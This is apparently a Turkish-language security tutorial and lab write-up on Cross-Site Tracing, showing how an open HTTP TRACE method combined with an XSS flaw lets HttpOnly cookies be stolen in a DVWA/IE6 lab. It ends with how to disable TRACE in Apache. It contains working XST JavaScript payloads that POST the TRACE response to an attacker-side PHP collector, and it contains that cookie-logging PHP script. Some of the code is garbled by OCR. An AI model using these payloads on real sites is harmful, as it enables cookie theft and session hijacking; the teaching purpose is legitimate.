Http Trace Methodunun Acik Birakilmasi

Bir web sunucuda http trace metodu acildiginda http talep ve http yanitlarinin log’lanmasi

islemi etkinlesir.
(ENG)
Metasploit Tip: Enable HTTP request and response logging with set HttpTrace true
(TUR)
Measploit Ipucu: HttpTrace'i true yapma ile http talep ve yanit log’lama aktiflesir.
Referans: Metasploit Framework msfconsole arayizinde gelen rastgele ipuclari

Http trace ile bir web sunucuya talep gonderildiginde gonderilen http talebindeki paket icerigi
debugging amaciyla talep eden kisiye geri gonderilir. Asagida Trace methodu acik olan bir

web sunucusuna gdnderilen trace talebinin drnegini gérmektesiniz:

> telnet hostname 80

TRACE /HTTP/1.1

Host: hostname /I Host: hostname header'i gdnderiliyor.

User-Agent: Mozilla/4.0 (compatible; MSIE5.01; Windows NT)  // User-Agent: xxx header'i gdnderiliyor.
Sunucu bu durumda aldigi talebe karsilik asagidaki yaniti dénecektir:

HTTP/1.1 200 OK

Date: Mon, 27 Jul 2009 12:28:53 GMT

Server: Apache/2.2.14 (Win32)

Connection: close

Content-Type: message/http

Content-Length: 39

/I Host: hostname header'l aliniyor.

/I User-Agent: xxx header'i aliniyor.



Gorluldugu tzere trace methodu ile yapilan http talebine karsilik gonderilen talebin aynisi geri
donmastir. Bu sekilde gelistiriciler web sunucusuna gonderilen taleplerin web sunucusunda

ne sekilde alindigini test edebilirler.

Trace methodunun sunucuda acik birakilmasi gelistiricilerin debug ve diagnostic yapmasi
icin kullanighdir. Ancak saldirganlar icin de kullanish oldugundan kapatiimasi énerilmektedir.
Normalde web uygulamalarinda HttpOnly flag'i kullanildiinda kullanicilarin - web
uygulamasindaki gerezleri tgtincu parti kimselerce calinamazdir. Fakat trace methodu acik
birakildiginda saldirgan “trace talebi” yapan bir javascript kodu web uygulamasina girebilir,
ardindan kullanici trace talebi yapan javascript kodunun yer aldi§i web sayfasini
goruntileyebilir. Kendi cookie header'' ve degerinin de yer aldigi bir http trace talebi
sunucuya goénderebilir. Ardindan sunucu ayni paketi geri gonderebilir ve gelen trace yanitini
javascript kodu saldirganin sunucusuna gondererek saldirgan paketleri dosyalayabilir ve
cerez bilgilerini elde edebilir. Dolayisiyla HitpOnly her ne kadar xss saldirilarini 6nlese de
(yani Ucunci parti kimselerin cerez calmasini 6nlese de) trace methoduna karismadigindan
HttpOnly flag'i olsa bile ¢erezler calinabilmektedir. Bu sekilde trace methodu ile cerez calma
islemine Cross-Site Tracing saldirisi adi verilmektedir. Asagida web uygulamarina girilecek

ornek bir Cross-Site Tracing saldirisi yapan javascript kodlamasini gérmektesin:

<script type="text/javascript’>

<l--

function sendTrace () {
var xmlHttp = new ActiveXObject(“Microsoft. XMLHTTP");
xmlHttp.open(*TRACE”, “http://foo.bar” false);
xmlHttp.send();
xmlDoc=xmlHttp.responseText;

alert(xmlIDoc);

}
1-->

</script>
<INPUT TYPE=BUTTON OnClick="sendTrace();” VALUE="Send Trace Request”>

Yukaridaki kodlamada http://foo.bar linki yerine zafiyete sahip web uygulamasinin linki girilir
ve javascript kodu zafiyete sahip web uygulamasina girilir. Bu javascript kodunun yer aldigi
web sayfasini goriintileyen her kullanici web sunucusuna trace talebi yapar. Trace yaniti
ise xmIDoc degiskenine cekilir. xmlDoc degisken degeri saldirganin sunucusuna 6rnegin

POST talebi ile gonderilir ve saldiri boylece gergeklesir.

Trace methodu ile saldirgan her bir kullanicinin http talebini okuyarak kullanici adi & sifre gibi
hassas bilgileri, ¢erezleri, kullanilan http basliklarini, sunucu degiskenlerini ve dahasini

dgrenebilir. Bu bilgilerden yola cikan saldirgan oturum devralabilir ya da edindigi bilgiler



dogrultusunda daha baska saldirilar diizenleyebilir. Bu kadar genis ¢apta bilginin saldirganin

eline gecmesini 6nlemek icin trace methodunun kapatilmasi gerekmektedir.

Modern web tarayicilar ajax ile TRACE talebini engellerler. Clnki Cross Site Tracing
saldirilarina sebep olur. Eski web tarayicilarda ise ajax ile TRACE talebi yapilabilirdir. Bu
nedenle eski web tarayici kullanan son kullanicilar Cross Site Tracing saldirisi tehdidi

altindadirlar.

Cross Site Tracing saldirilarinin yapilabilmesi icin web uygulamada Cross Site Scripting
acikliginin olmasi ve web sunucuda Trace metodunun acgik olmasi gerekir. Cross Site
Tracing ile Cross Site Scripting acikliklari esasinda iki ayri acikliktir. Cross Site Tracing web
sunucudaki acikligi (konfigurasyon ayarlarindaki trace metodunun acik olusunu) sémurdr.

Cross Site Scripting ise web uygulamadaki acikhgr sémurdr.
Uygulama
(+) Birebir denenmistir ve basariyla uygulanmistir.

Apache'de varsayilan olarak Trace methodu kapali gelir. Bunu asagida gorebilmekteyiz:

Ubuntu 18.04 LTS Terminal:
> telnet 127.0.0.1 80

Trying 127.0.0.1...

Connected to 127.0.0.1.
Escape character is ']

TRACE / HTTP/1.0

HTTP/1.1 405 Method Not Allowed

Date: Tue, 17 Oct 2017 07:47:31 GMT
Server: Apache/2.4.7 (Ubuntu)

Allow:

Content-Length: 297

Connection: close

Content-Type: text/html; charset=is0-8859-1
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>

<title>405 Method Not Allowed</title>
</head><body>

<hl>Method Not Allowed</h1>



<p>The requested method TRACE is not allowed for the URL /.</p>
<address>Apache/2.4.7 (Ubuntu) Server at 127.0.1.1 Port 80</address>
</body></html|>

Connection closed by foreign host.

Apache'de Trace methodunu a¢gmak igin apache2.conf dosyasi agilir.
Ubuntu 18.04 LTS Terminal:
> sudo gedit /etc/apache2/apache2.conf
Dosyanin en altina asagidaki kod satiri eklenir:
TraceEnable on
Ardindan apache?2 servisi yeniden baglatilir.
Ubuntu 18.04 LTS Terminal:
> service apache? restart

Bdylelikle trace talebinde bulunabilir duruma geliriz:

Ubuntu 18.04 LTS Terminal:

> telnet 127.0.0.1 80

Trying 127.0.0.1...

Connected to 127.0.0.1.

Escape character is '™1'.

TRACE / HTTP/1.0

Test: A // Test: A header'i gonderiliyor

Deneme: B // Deneme: b header'i génderiliyor.

HTTP/1.1 200 OK

Date: Tue, 17 Oct 2017 07:51:43 GMT
Server: Apache/2.4.7 (Ubuntu)
Connection: close

Content-Type: message/http

TRACE / HTTP/1.0
Test: A /l Test: A header'i aliniyor

Deneme: B // Deneme: b header'i aliniyor.



Gorluldugu tzere trace talebimiz kabul edilmistir ve gdnderdigimiz paket ayni sekilde geri
donmdastir. Dolayisiyla trace methodu acik durumdadir.

Uygulama 2
(+) Birebir denenmistir ve basariyla uygulanmistir.

Gereksinimler
Ivar/www/Cross-Site-Tracing-Uygulamasi/ // Saldirganin Web Sunucusu
DVWA - Ubuntu 18.04 LTS // DVWA Web Sunucusu
Cross Site Tracing - Windows XP SP 1 VM /I Son Kullanici Makinesi (IE6)
NOT:

Cross Site Tracing - Windows XP SP1 VM hazir olarak Virtualbox VMs'lerde
mevcuttur. ISO dosyasi ise ~/Downloads/ dizini altinda Cross Site Tracing - Windows
XP SP 1 I1SO Dosyasi.zip seklinde yer almakta. Cross Site Tracing - Windows XP
SP1 makinede lisans aktivasyonu siresi doldu hatasi yasanirsa lisans aktivasyonu

suresi varkenki ilk halinin snapshot’t var. Snapshot’a donebilirsin.

Bu uygulamada Ubuntu 18.04 LTS ana makinedeki web sunucuda yer alan DVWA
uygulamasina Windows XP SP1 IE6 web tarayicisindan erisilecektir ve son kullanicinin
Cross Site Tracing saldirisina maruz kalmasi sonucu cerezinin g¢alinmasi uygulamasi

yapilacaktir.
Bilgi:

Son kullanicinin kullanacag! web tarayici Internet Explorer 6 SP1 olmalidir. Ornegin
Windows XP (Dandik) makinesi sag tik bilgisayar dzelliklerinden bakildiginda SP2'dir
ve bu dékiimandaki saldiri o makinedeki Internet Explorer 6’da yapilamamaktadir. Bu
saldirinin proof of concept drnek doékimaninda ayrica IE6 SP1 kullaniimaktadir.
Bkz. https://www.cgisecurity.com/whitehat-mirror/WH-WhitePaper_XST_ebook.pdf

Oncelikle XST (yani Cross Site Tracing) saldirisi diizenleyebilmek ve son kullanicilarin
cerezlerini ¢alabilmek icin hedef web uygulamanin yer aldigi web sunucuda http TRACE
metodu acik olmalidir. Bunun icin hedef web sunucudaki apache yaziliminda konfigurasyon

ayarindan TRACE metodunu agalhm.



Ubuntu 18.04 LTS:

> sudo gedit /etc/apache2/apache2.conf

(En Alta Asagidaki Eklenir)
TraceEnable on
> service apache2 restart

ikinci olarak XST (yani Cross Site Tracing) saldirisi diizenleyebilmek ve son kullanicilarin
cerezlerini ¢alabilmek icin hedef web sunucudaki uygulamada XSS acikligi var olmalidir.
Bunun icin hedef web sunucudaki DVWA web uygulamasinin XSS acikligi olan sayfasini

ziyaret edelim.
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Simdi XST saldirisi diizenlemek ve son kullanicilarin ¢erezlerini calabilmek icin bu XSS

acikligi olan noktaya girilecek XST payload’unu olusturalim.

XST Payload'u:

<script>

var xmlHttp = new ActiveXObject("Microsoft. XMLHTTP"); // Microsoft AJAX nesnesi

xmlHttp.open("TRACE","http://172.16.4.225" false);

xmlHttp.send();

xmIDoc=xmlHttp.responseText;

I/ olusturulur.

Il AJAX ile agiklikh DVWA
/[ uygulamasi web sunucu-

/Il suna trace talebi yapilir.

/I DVWA uygulamasi web
// sunucusundan trace

/[ yaniti alinir.

xmlHttp.open("POST","http://172.16.4.225/Cross-Site-Tracing-Uygulamasi/

cerezTopla.php",false);

xmlHttp.send(xmlDoc);

alert(xmlDoc);

// Saldirganin web sunucu-
/I suna DVWA uygulamasi
/I web sunucusundan gelen
Il trace yaniti AJAX ile

/I POST talebinde génde-

/! rilir.

/I (Optional)

// DVWA uygulamasi web



/I sunucusundan gelen

Il trace yaniti ekrana

I/ popup seklinde olayi

Il gbrsel gbzlemlemek

/I adina basilabilir.
</script>

Bu payload’da goruldigu tizere énce xmlhttprequest nesnesi olusturulmaktadir. Bu nesne ile
ik yapilan ajax talebi XSS acikligina sahip web uygulama sunucusuna TRACE talebi
seklinde yapilmaktadir. Gelen TRACE yaniti xmIDoc nesnesine atanmaktadir ve ikinci
yapilan ajax talebi ile de gelen TRACE yanitini tutan xmlDoc nesnesi saldirganin web
sunucusuna POST verisi olarak gonderilmektedir. Bu payload’'u hazir hale getirebilmek igin

tek satir haline getirelim.
Payload (Tek Satirlik):

<script>var xmlHttp = new

ActiveXObject("Microsoft. XMLHTTP");xmIHttp.open("TRACE","http://172.16.4.225" false);xml
Http.send();xmIDoc=xmlHttp.responseText;xmlHttp.open("POST","http://172.16.4.225/Cross-
Site-Tracing-Uygulamasi/cerezTopla.php",false);xmlIHttp.send(xmIDoc);alert(xmlDoc);</

script>

Ardindan web uygulamanin xss acikligi olan noktasina XST payload’unu girelim.
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Bu reflected xss sayfasinda olusturdugumuz XST payload’'umuzun url’'deki parametreye ekli
halde oldugu 6zel hazirlanmis URL'i kurbanlara cgesitli platformlardan paylastigimizi ve
kurbanlarin bu URL’e gittiklerini varsayalim. Bu durumda son kullanici web tarayicilarinda
calisacak XST payload’'u son kullanicilara web sunucuya trace talebi yaptiracaktir ve gelen
trace yanitini POST verisi ile saldirgan web sunucusuna gondertecektir. Saldirgan ise bir php
web sayfasi ile kendi web sunucusunda gelen kurban trace yanitlarini dosyalayacaktir.
Saldirgan web sunucusunda bir dosyalama yapan php web sayfasi 6rnedi asagida

verilmigtir:
Ivarlwww/Cross-Site-Tracing-Uygulamasi/cerezTopla.php: // Saldirgan Web Sunucu

<?php
$ip = $_SERVER[REMOTE_ADDRY;
$traceYaniti = file_get_contents('php://input’); /I $_POST olarak gelen veri (son kullanicidan gelen
/I talep paketinin gdvdesi) komple string olarak cekilir.

$dateTime = date('d.m.y \t H:i:s");

$file = fopen(“cerezler.txt", "a+"); /I Trace yanitlari alt alta cerezler.txt dosyasina kaydedilir.

fwrite($file, "t NN ),

fwrite($file, "Kurbanin IP Adresi 2" $ip . "\nnY);
fwrite($file, "Kurbanin TRACE Yaniti \r\n\r\n” . $traceYaniti . "\r\n");
fwrite($file, "Kurbanin Cerezinin Calinma Zamani  : " . $dateTime . "\r\n");

fwrite($file, "t ND\NAN\AN ),

fclose($file);

?>
Saldirgan php dosyalama script'inin  dosyaladigi ve kayitlarin  surekli  eklendigi
cerezler.txt'deki verilere g6z attiginda kurbanlardan gelen trace yaniti iceriklerini

okuyabilecektir ve hassas bilgilere ulasabilecektir.



XST Payload’'u Calistiktan Sonra Saldirgan Web Sunucuda Cerezler.txt Dosyasi:
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Goruldagu Uzere XST payload'u ile xss acikliginin oldugu noktada son kullanici saldiriya
ugramistir ve yaptigi trace talep, yanit ve saldirgan sunucuya yaniti génderme sonucu
cerezini saldirgan web sunucuya kaptirmistir. Saldirgan ¢alinan DVWA uygulamasina dair
olan son kullanici gerezini web tarayicilarin ¢erez import etme eklentileri yardimiyla import

ederek son kullanici oturumlarini devralabilir.

Cross Site Tracing acikligi web uygulamadaki XSS acikhdlr ve web sunucudaki Trace
metodunun acik olmasina dayanir. Bu saldin tesebbusleri eski web tarayici kullanan son
kullanicilarda basarili olur. Ancak modern web tarayicilarda AJAX ile TRACE talebi yapmak
yasak oldugundan (artik XST saldinlari nedeniyle givenlik amaciyla desteklenmediginden)

modern web tarayici kullanan son kullanicilarda basarili olmaz.
(*) Not:

Modern web tarayicilarda XHR (XmlIHttpRequest) izerinden TRACE talebi yapmak
izinli olmadigindan XHR ile TRACE talebi yasandiginda su sekilde bir uyari modern

web tarayici konsol ekranlarina gelir ve talep engellenir.

Modern Web Tarayicilar'da XST Payload'u Calistirilirken Gelen Uyari:
/I AJAX nesnesi olusturulurken ActiveXObject(Microsoft. XMLHTTP)
I/ yerine bu sefer XmIHttpRequest() kullaniimistir ve web sunucunun yer aldigi
/I makinedeki modern web tarayicilara gegildiginden ve saldirlya maruz kalma

// bu modern web tarayicilarda denendiginden payload’da adres olarak



I/l localhost denilmistir.

<script>var xmlHttp = new
XMLHttpRequest();xmlIHttp.open("TRACE","http://localhost" false);xmlIHttp.send();xmIDoc=x
mlHttp.responseText;xmlHttp.open("POST","http://localhost/Cross-Site-Tracing-Uygulamasi/

cerezTopla.php",false);xmlHttp.send(xmlIDoc);alert(xmlDoc);</script>
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Modern web tarayicillar XST saldirilari ile son kullanicilarin ¢erez v.b. bilgilerinin
c¢alinmasini 6nlemek icin XmIHttpRequest ile TRACE talebi yapilmasini yasaklarlar

(artik desteklemezler).



Ornegin TRACE yerine GET talebi yapilirsa bu sefer zararsiz olan payload sorunsuz

calisacaktir.

<script>var xmlHttp = new
XMLHttpRequest();xmlIHttp.open("GET","http://localhost”,false);xmIHttp.send();xmIDoc=xmIH
ttp.responseText;xmlHttp.open("POST","http://localhost/Cross-Site-Tracing-Uygulamasi/

cerezTopla.php”,false);xmlHttp.send(xmlIDoc);alert(xmlDoc);</script>
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Goruldugu Uzere web tarayict bu sefer hata sunmamistir ve zararsiz payload
calismistir. GET talebine donen yanit ekrana popup seklinde yansimistir. Ancak XST

saldirisinin gectigi yol ajax ile trace talebi yapabilmekten gecer.
Http Trace Methodu Nasil Kapatilir?

Apache'de trace methodunu kapamak icin apache2.conf dosyasi acilir.
> sudo gedit /etc/apache2/apache2.conf

Dosyanin en altina asagidaki kod satiri eklenir:
TraceEnable off

Ardindan apache?2 servisi yeniden baglatilir.
> service apache?2 restart

Boylece trace talebi kapatilmis olur.
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https://www.tutorialspoint.com/http/http_methods.htm
https://compsecurityconcepts.wordpress.com/tag/trace/
http://www.techstacks.com/howto/disable-tracetrack-in-apache-httpd.htmi
https://httpd.apache.org/docs/2.4/mod/core.html#traceenable
http://www.cgisecurity.com/whitehat-mirror/WH-WhitePaper_XST_ebook.pdf
https://owasp.org/www-community/attacks/Cross_Site_Tracing
https://beaglesecurity.com/blog/vulnerability/cross-site-tracing-found.html
https://archive.org/details/WinXPHomeEditionSP1OEMEnNglish
https://stackoverflow.com/questions/8945879/how-to-get-body-of-a-post-in-php
https://domstorm.skepticfx.com/modules/?id=53992f9bfd987e64ab000005
https://www.w3schools.com/js/js_ajax_http_send.asp
https:/mwww.rapid7.com/db/vulnerabilities/appspider-cross-site-tracing-xst/

https://gatling.io/docs/gatling/reference/current/general/debugging/



